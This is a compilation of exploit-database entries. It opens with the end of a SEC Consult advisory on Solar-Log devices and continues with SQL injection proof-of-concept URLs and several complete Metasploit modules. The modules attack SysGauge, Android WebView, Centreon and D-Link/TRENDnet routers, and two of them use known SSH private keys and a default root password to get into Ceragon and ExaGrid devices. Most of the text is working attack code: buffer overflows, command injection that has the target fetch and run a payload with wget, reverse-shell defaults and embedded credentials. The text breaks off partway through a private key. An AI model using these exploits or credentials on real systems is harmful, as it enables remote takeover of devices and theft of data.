7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
This action was not tested against the device. Such attack can brick the 
Solar-Log. The worst case scenario would be a botnet exploiting this vulnerability.

A network-dump of the "CHIPTOOL" would be enough to reconstruct the required
UDP packets for the attack.

 
Vulnerable / tested versions:
-----------------------------
Solar-Log 1200 - 3.5.2-85
Solar-Log 800e - 2.8.4-56

Since the firmware for the other Solar-Log devices is exactly the same,  
other devices with the same versions are also prone to the vulnerabilities!


Vendor contact timeline:
------------------------
2017-02-02: Contacting vendor via info@solar-log.com, support@solar-log.com
            and berlin@solar-log.com.
2017-02-14: Vendor responds and requests the advisory unencrypted; Sent the
            advisory unencrypted to the vendor.
2017-02-20: Asked for an update.
2017-02-21: Vendor states that the patch is in development. The update will
            be published before 2017-03-24.
2017-03-14: Asked for a status update. Vendor states that the update will
            be available on 2017-03-21.
2017-03-20: Vendor sends release notes. New firmware version is 3.5.3 build
            86 for all affected Solar-Log devices. 
            Informing the vendor that the release of the advisory is set to 
            2017-03-22.
2017-03-22: Public advisory release.


Solution:
---------
Upgrade to firmware 3.5.3-86
http://www.solar-log.com/de/service-support/downloads/firmware.html


Workaround:
-----------
Restrict network access to the devices.


Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/Career.htm

Interested in improving your cyber security with the experts of SEC Consult? 
Contact our local offices https://www.sec-consult.com/en/About/Contact.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2017
            
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::TcpServer

  Rank = NormalRanking

  def initialize()
    super(
      'Name'           => 'SysGauge SMTP Validation Buffer Overflow',
      'Description'    => %q{
        This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
        via its SMTP server validation. The module sends a malicious response along in the
        220 service ready response and exploits the client, resulting in an unprivileged shell.
      },
      'Author'         =>
      [
        'Chris Higgins', # msf Module -- @ch1gg1ns
        'Peter Baris'    # Initial discovery and PoC
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        [ 'EDB', '41479' ],
      ],
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread'
      },
      'Payload'        =>
      {
        'Space' => 306,
        'BadChars' => "\x00\x0a\x0d\x20"
      },
      'Platform'  => 'win',
      'Targets'       =>
      [
        [ 'Windows Universal',
          {
            'Offset' => 176,
            'Ret'    => 0x6527635E # call esp # QtGui4.dll
          }
        ]
      ],
      'Privileged'    => false,
      'DisclosureDate' => 'Feb 28 2017',
      'DefaultTarget' => 0
      )
    register_options(
      [
      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
      ])
  end

  def on_client_connect(c)
    # Note here that the payload must be split into two parts.
    # The payload gets jumbled in the stack so we need to split
    # and align to get it to execute correctly.
    sploit =  "220 "
    sploit << rand_text(target['Offset'])
    # Can only use the last part starting from 232 bytes in
    sploit << payload.encoded[232..-1]
    sploit << rand_text(2)
    sploit << [target.ret].pack('V')
    sploit << rand_text(12)
    sploit << make_nops(8)
    # And the first part up to 232 bytes
    sploit << payload.encoded[0..231]
    sploit << "ESMTP Sendmail \r\n"

    print_status("Client connected: " + c.peerhost)
    print_status("Sending payload...")

    c.put(sploit)
  end

end
            
###############################################################################################
# Exploit Title: Joomla Modern Booking  - SQL Injection

               # Author: [ Hamed Izadi ]

                        #IRAN

# Vendor Homepage :
https://extensions.joomla.org/extensions/extension/vertical-markets/booking-a-reservations/modern-booking/
# Vendor Homepage : https://www.unikalus.com/
# Category: [ Webapps ]
# Tested on: [ Ubuntu ]
# Versions: 1.0
# Date: March 22, 2017


# PoC:
# coupon Parameter Vulnerable To SQLi

# Demo:
# https://server/modern-booking-slots?task=saveorder&coupon=test"&start=&option=com_modern_booking


#  L u Arg
###############################################################################################
            
# # # # #
# Exploit Title: Flippa Clone - SQL Injection
# Google Dork: N/A
# Date: 23.03.2017
# Vendor Homepage: http://www.snobscript.com/
# Software: http://www.snobscript.com/downloads/flippa-clone/
# Demo: http://flippaportal.scriptfirm.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/domain-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/site-details/[SQL]/Ihsan_Sencan
# http://localhost/[PATH]/ask-a-question/[SQL]
# Etc...
# # # # #
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/android'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::Android

  VULN_CHECK_JS = %Q|
    for (i in top) {
      try {
        top[i].getClass().forName('java.lang.Runtime');
        is_vuln = true; break;
      } catch(e) {}
    }
  |

  autopwn_info(
    :os_name    => OperatingSystems::Match::ANDROID,
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => VULN_CHECK_JS
  )

  def initialize(info = {})
    super(update_info(info,
      'Name'                => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description'         => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'             => MSF_LICENSE,
      'Author'              => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'          => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'],
        ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'],
        ['CVE', '2012-6636'], # original CVE for addJavascriptInterface
        ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_)
        ['EDB', '31519'],
        ['OSVDB', '97520']
      ],
      'Platform'            => ['android', 'linux'],
      'Arch'                => [ARCH_DALVIK, ARCH_X86, ARCH_ARMLE, ARCH_MIPSLE],
      'DefaultOptions'      => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
      'Targets'             => [ [ 'Automatic', {} ] ],
      'DisclosureDate'      => 'Dec 21 2012',
      'DefaultTarget'       => 0,
      'BrowserRequirements' => {
        :source     => 'script',
        :os_name    => OperatingSystems::Match::ANDROID,
        :vuln_test  => VULN_CHECK_JS,
        :vuln_test_error => 'No vulnerable Java objects were found in this web context.'
      }
    ))

    deregister_options('JsObfuscate')
  end

  # Hooked to prevent BrowserExploitServer from attempting to do JS detection
  # on requests for the static javascript file
  def on_request_uri(cli, req)
    if req.uri =~ /\.js/
      serve_static_js(cli, req)
    else
      super
    end
  end

  # The browser appears to be vulnerable, serve the exploit
  def on_request_exploit(cli, req, browser)
    arch = normalize_arch(browser[:arch])
    print_status "Serving #{arch} exploit..."
    send_response_html(cli, html(arch))
  end

  # Called when a client requests a .js route.
  # This is handy for post-XSS.
  def serve_static_js(cli, req)
    arch          = req.qstring['arch']
    response_opts = { 'Content-type' => 'text/javascript' }

    if arch.present?
      print_status("Serving javascript for arch #{normalize_arch arch}")
      send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts)
    else
      print_status("Serving arch detection javascript")
      send_response(cli, static_arch_detect_js, response_opts)
    end
  end

  # This is served to requests for the static .js file.
  # Because we have to use javascript to detect arch, we have 3 different
  # versions of the static .js file (x86/mips/arm) to choose from. This
  # small snippet of js detects the arch and requests the correct file.
  def static_arch_detect_js
    %Q|
      var arches = {};
      arches['#{ARCH_ARMLE}']  = /arm/i;
      arches['#{ARCH_MIPSLE}'] = /mips/i;
      arches['#{ARCH_X86}']    = /x86/i;

      var arch = null;
      for (var name in arches) {
        if (navigator.platform.toString().match(arches[name])) {
          arch = name;
          break;
        }
      }

      if (arch) {
        // load the script with the correct arch
        var script = document.createElement('script');
        script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch);
        script.setAttribute('type', 'text/javascript');

        // ensure body is parsed and we won't be in an uninitialized state
        setTimeout(function(){
          var node = document.body \|\| document.head;
          node.appendChild(script);
        }, 100);
      }
    |
  end

  # @return [String] normalized client architecture
  def normalize_arch(arch)
    if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end
  end

  def html(arch)
    "<!doctype html><html><body><script>#{add_javascript_interface_exploit_js(arch)}</script></body></html>"
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Centreon SQL and Command Injection',
      'Description'    => %q{
        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
        commands as long as there is a valid session registered in the centreon.session table.
        In order to have a valid session, all it takes is a successful login from anybody.
        The exploit itself does not require any authentication.
        This module has been tested successfully on Centreon Enterprise Server 2.2.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'MaZ', # Vulnerability Discovery and Analysis
          'juan vazquez' # Metasploit Module
        ],
      'References'     =>
        [
          ['CVE', '2014-3828'],
          ['CVE', '2014-3829'],
          ['US-CERT-VU', '298796'],
          ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Payload'        =>
        {
          'Space'       => 1500, # having into account 8192 as max URI length
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'
            }
        },
      'Targets'        =>
        [
          ['Centreon Enterprise Server 2.2', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 15 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])
      ], self.class)
  end

  def check
    random_id = rand_text_numeric(5 + rand(8))
    res = send_session_id(random_id)

    unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
      return Exploit::CheckCode::Safe
    end

    injection = "#{random_id}' or 'a'='a"
    res = send_session_id(injection)

    if res && res.code == 200
      if res.body && res.body.to_s =~ /sh: graph: command not found/
        return Exploit::CheckCode::Vulnerable
      elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif'
        return Exploit::CheckCode::Detected
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited")
    elsif check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?")
    end

    print_status("Exploiting...")
    random_id = rand_text_numeric(5 + rand(8))
    random_char = rand_text_alphanumeric(1)
    session_injection = "#{random_id}' or '#{random_char}'='#{random_char}"
    template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**"
    res = send_template_id(session_injection, template_injection)

    if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/
      vprint_status("Output: #{res.body}")
    end
  end

  def send_session_id(session_id)
    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id
        }
    )

    res
  end

  def send_template_id(session_id, template_id)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'),
      'vars_get' =>
        {
          'session_id' => session_id,
          'template_id' => template_id
        }
      }, 3)

    res
  end

  def mysql_payload
    p = ''
    payload.encoded.each_byte { |c| p << "#{c},"}
    p
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking # Only tested on Emulated environment

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link/TRENDnet NCC Service Command Injection',
      'Description'    => %q{
        This module exploits a remote command injection vulnerability on several routers. The
        vulnerability exists in the ncc service, while handling ping commands. This module has
        been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
        are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
        (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
        DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
        v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
        DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
        v2.01b01
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
          'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1187'],
          ['BID', '72816'],
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
          ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
        ],
      'Targets'        =>
        # Only tested on D-Link DIR-626L where wget is available
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 26 2015',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
        OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path)
      })

      # unknown if other devices also using mini_httpd
      if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exec_command(cmd, timeout = 20)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path),
        'encode_params' => false,
        'vars_post' => {
          'ccp_act' => 'ping_v6',
          'ping_addr' => '$(' + cmd + ')'
        }
      }, timeout)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def primer
    @payload_url = get_uri
    wget_payload
  end

  def exploit
    print_status("Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")

    @pl = generate_payload_exe
    @payload_url  = ''
    @dropped_elf = rand_text_alpha(rand(5) + 3)

    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
      end
      chmod_payload
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      wget_payload
      chmod_payload
      exec_payload
    end
  end

  def wget_payload
    upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"

    print_status("Downloading the payload to the target machine...")
    res = exec_command(cmd)

    if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
      register_files_for_cleanup(upload_path)
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
    end
  end

  def chmod_payload
    cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

    print_status("chmod the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
    end

    Rex.sleep(1)
  end

  def exec_payload
    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    print_status("Executing the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
    end

    Rex.sleep(1)
  end

  # Handle incoming requests to the HTTP server
  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri =~ /#{Regexp.escape(get_resource)}/
      print_status('Sending payload...')
      send_response(cli, @pl)
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Auxiliary::Report

  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info, {
      'Name'        => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
      'Description' => %q{
        Ceragon ships a public/private key pair on FibeAir IP-10 devices
        that allows passwordless authentication to any other IP-10 device.
        Since the key is easily retrievable, an attacker can use it to
        gain unauthorized remote access as the "mateidu" user.
      },
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'  => false,
      'Targets'     => [ [ "Universal", {} ] ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'Author'      => [
        'hdm', # Discovery
        'todb' # Metasploit module and advisory text (mostly copy-paste)
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2015-0936'],
          ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
        ],
      'DisclosureDate' => "Apr 01 2015", # Not a joke
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DefaultTarget' => 0
    }))

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end
  def rport
    datastore['RPORT']
  end

  def do_login(user)
    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
    opt_hash = {
      auth_methods:       ['publickey'],
      port:               rport,
      key_data:           [ key_data ],
      use_agent:          false,
      config:             false,
      proxy:              factory,
      non_interactive:    true
    }
    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, user, opt_hash)
      end
    rescue Rex::ConnectionError
      return nil
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return nil
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return nil
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
      return nil
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return nil
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
      ssh_socket = nil

      return conn
    else
      return nil
    end
  end

  def exploit
    conn = do_login("mateidu")
    if conn
      print_good "#{rhost}:#{rport} - Successful login"
      handler(conn.lsock)
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(update_info(info, {
      'Name'        => 'ExaGrid Known SSH Key and Default Password',
      'Description' => %q{
        ExaGrid ships a public/private key pair on their backup appliances to
        allow passwordless authentication to other ExaGrid appliances.  Since
        the private key is easily retrievable, an attacker can use it to gain
        unauthorized remote access as root. Additionally, this module will
        attempt to use the default password for root, 'inflection'.
      },
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'  => true,
      'Targets'     => [ [ "Universal", {} ] ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'Author'      => ['egypt'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-1560' ], # password
          [ 'CVE', '2016-1561' ], # private key
          [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
        ],
      'DisclosureDate' => "Apr 07 2016",
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DefaultTarget' => 0
    }))

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end
  def rport
    datastore['RPORT']
  end

  def do_login(ssh_options)
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
      ssh_socket = nil

      return conn
    else
      return false
    end
  end

  # Ghetto hack to prevent the shell detection logic from hitting false
  # negatives due to weirdness with ssh sockets. We already know it's a shell
  # because auth succeeded by this point, so no need to do the check anyway.
  module TrustMeItsAShell
    def _check_shell(*args)
      true
    end
  end

  def exploit
    payload_instance.extend(TrustMeItsAShell)
    factory = ssh_socket_factory

    ssh_options = {
      auth_methods: ['publickey'],
      config: false,
      use_agent: false,
      key_data: [ key_data ],
      port: rport,
      proxy: factory,
      non_interactive:  true
    }
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    conn = do_login(ssh_options)

    unless is_success?(conn, true)
      ssh_options[:auth_methods] = ['password']
      ssh_options[:password] = 'inflection'
      ssh_options.delete(:key_data)
      conn = do_login(ssh_options)
      is_success?(conn, false)
    end
  end

  def is_success?(conn,key_based)
    if conn
      print_good "Successful login"
      service_data = {
        address: rhost,
        port: rport,
        protocol: 'tcp',
        service_name: 'ssh',
        workspace_id: myworkspace_id,
      }
      credential_data = {
        username: 'root',
        private_type: ( key_based ? :ssh_key : :password ),
        private_data: ( key_based ? key_data : 'inflection' ),
        origin_type: :service,
        module_fullname: fullname,
      }.merge(service_data)

      core = create_credential(credential_data)
      login_data = {
        core: core,
        last_attempted: Time.now,
      }.merge(service_data)

      create_credential_login(login_data)

      handler(conn.lsock)
      true
    else
      false
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
